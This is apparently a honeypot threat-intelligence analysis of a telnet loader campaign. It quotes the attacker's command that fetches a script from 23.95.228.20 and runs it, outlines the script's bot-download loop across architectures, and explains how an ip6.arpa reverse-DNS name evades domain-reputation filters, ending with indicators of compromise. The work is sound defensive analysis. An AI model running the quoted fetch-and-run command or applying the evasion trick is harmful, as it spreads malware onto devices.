Two sessions, one command, two files
91.213.174.123, in AS967, opened 23 telnet sessions between 28 September and 3 October. Four logged in, and two of those ran the same three commands:
cd /tmp wget -O x http://23.95.228.20/dl.sh sh x
Same URL both times, about fifteen hours apart. The file behind it changed.
The script
Both versions do the same thing. Set a host, move to a writable directory, then walk a list of architectures, starting with what uname -m reports and continuing through aarch64, mips64, four ARM variants, mips, mpsl, three x86 variants, ppc, sh4, m68k, spc, arc and ppc440. For each one it downloads wife.<arch> from the host and runs it. The first that runs successfully ends the loop. The script prints its progress (ARCH, TRY, SUCCESS(arch) or FAILED(ALL_ARCHS)) for whoever is reading the session, and deletes itself either way.
The difference is the first line and the patience:
28 Sep, 692 bytes H=bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa
wget -t 1 -T 10 … || curl --connect-timeout 10 … || busybox wget -T 10 …
29 Sep, 622 bytes H=23.95.228.20
wget … || curl … || busybox wget …
The first version names its download server inside the reverse-DNS tree and gives every download a ten-second timeout. The second points at the server it was itself served from and drops the timeouts.
Reading the name
Reverse DNS for IPv6 spells an address backwards, one hexadecimal digit per label, under ip6.arpa. Read the sixteen digits here from right to left and they give the prefix 2001:0470:f82a:ef93::/64.
2001:470::/32 is Hurricane Electric's address block, according to ARIN's registration record. Hurricane Electric runs a free IPv6 tunnel broker that hands out /64 and /48 prefixes and delegates the reverse DNS for them to whatever name servers the user names. Whoever controls those name servers can publish any record under the prefix's reverse zone, including an ordinary A record for a label like bot. That this /64 came from the tunnel broker is my inference; the block is Hurricane Electric's either way.
Why use it, as inference: a name under ip6.arpa has no registrar, no registration record, no fee and no domain age. There is no registrar to ask for a takedown; the only lever is the holder of the address space. Filters that score domains by reputation have nothing to score, and a filter that skips the reverse tree as infrastructure never looks at it.
Why it changed
I do not know. The timeouts in the first version suggest the author expected downloads to hang, and the second version, which does not depend on DNS at all, appeared within fifteen hours. A device that cannot resolve the name, or a resolver that refuses to answer it, would make the first version fail. That fits the change; it is not shown by it.
I did not look the name up. It would show what it points to today, not what it pointed to on 28 September, and the query would most likely reach a name server the operator controls.
What the blocklist does with it
91.213.174.123 is on the blocklist's loader tier. The download server, 23.95.228.20 in AS36352, is not. Both are named because the activity spanned six days, and because the server and the name are what a defender would search for.
What I can and cannot say
| Claim | Confidence |
|---|---|
The same URL served two versions, one with the ip6.arpa host | High. Both files and both sessions are on record. |
| The name decodes to a /64 in Hurricane Electric's block | High. Arithmetic plus the registration record. |
| The zone was delegated through the tunnel broker | Likely, not shown. It is the common free way to control reverse DNS in that block. |
| The name ever resolved to the download server | Unknown. Not looked up, for the reasons above. |
| Why the operator switched | Unknown. DNS failure on victims fits; it is not shown. |
Remaining gaps
The bot. The wife binaries were never captured, so the family is unknown.
The name's history. Passive DNS, if anyone recorded the name, would answer whether it ever resolved and to what. I have not checked a passive-DNS service.
Indicators
Host name bot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa (2001:470:f82a:ef93::/64) Server 23.95.228.20, /dl.sh and /wife.<arch> dl.sh v1 c030f061903119a557b2bccc2009837296bac13b1922fc01da6977b6a8fd1253 dl.sh v2 e63cf3ce1a71ea69d596056cb212337c38ee4740b22f73b5bd64ffd47cbc0d7a Source 91.213.174.123